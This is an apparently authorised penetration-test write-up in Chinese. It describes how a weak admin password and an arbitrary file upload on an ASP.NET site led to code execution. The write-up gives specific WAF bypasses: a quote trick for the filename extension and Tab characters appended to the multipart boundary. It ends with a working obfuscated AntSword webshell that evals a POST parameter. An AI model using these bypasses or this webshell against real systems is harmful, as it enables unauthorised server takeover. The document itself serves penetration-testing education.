本次測試為授權測試。
0x01 背景
弱口令進入某后台,存在任意文件上傳,存在waf
測試aa后綴成功上傳通過查看派單可以看到文件路徑
直接上傳aspx被攔截
0x02 繞過后綴名檢測
先簡單嘗試大小寫被攔截,ashx,asmx,asp,cer都被攔截
直接上傳cshtml,可參考https://www.cnblogs.com/cwkiller/p/12087890.html
訪問跳轉404,估計是不解析
嘗試直接繞過waf后綴檢測簡單測試后發現在雙引號后面加個單引號就能繞過
0x03 繞過內容檢測
直接上冰蠍馬,發現檢測內容被waf攔截了
復制圖片內容把馬夾在中間,依舊繞不過,有的waf可能比較大的包就直接放行了,這個不行我復制了很大的圖片內容依然被攔截
這個站在之前測試注入過程中並沒有發現waf,嘗試直接將一句話post發送(非上傳格式)發現並不會攔截
猜測waf肯定通過Content-Type: multipart/form-data來判定這是個上傳包,然后就檢測內容
而waf是如何解析post包哪個地方是上傳的內容呢,是根據
Content-Type: multipart/form-data; boundary=---------------------------7e43d3910182
Content-Type中boundary的值---------------------------7e43d3910182
那么思路就來了,我們在---------------------------7e43d3910182后加多個Tab鍵服務端既正常解析上傳內容而waf則可能通過
---------------------------7e43d3910182TabTab 去查找上傳的內容然而並找不到從而被繞過,講了這么就那肯定要測一把
bingo成功繞過內容檢測
0x04 奇怪的404
上傳成功了先訪問馬看看
又是這個情況,哪里出問題了呢,直接連接馬也連不上,抽根煙記起之前搞得一個jsp站也是上傳成功了老是404https://www.cnblogs.com/cwkiller/p/11788009.html
可能是馬要有內容輸出才不會404,直接上大馬,連接成功system權限
驗證是否是馬要有內容輸出才不會404,上傳打印當前時間的aspx
<%@Page Language="C#"%>
<%
Response.Write(DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"));
System.IO.File.Delete(Request.PhysicalPath);
%>
印證猜測,蟻劍馬增加一句輸出hello,world語句
<%@ Page Language="Jscript" Debug=true%>
<%
Response.Write("hello,world");
var hw=Request.Form("mr6");
var du='iNUZuDe';
var zu=du.replace("iNUZuD","unsaf");
function RIEo(BWrg)
{eval(BWrg,zu);}
RIEo(hw);
%>
帶上cookie(此目錄下的文件需要登錄才能訪問),連接成功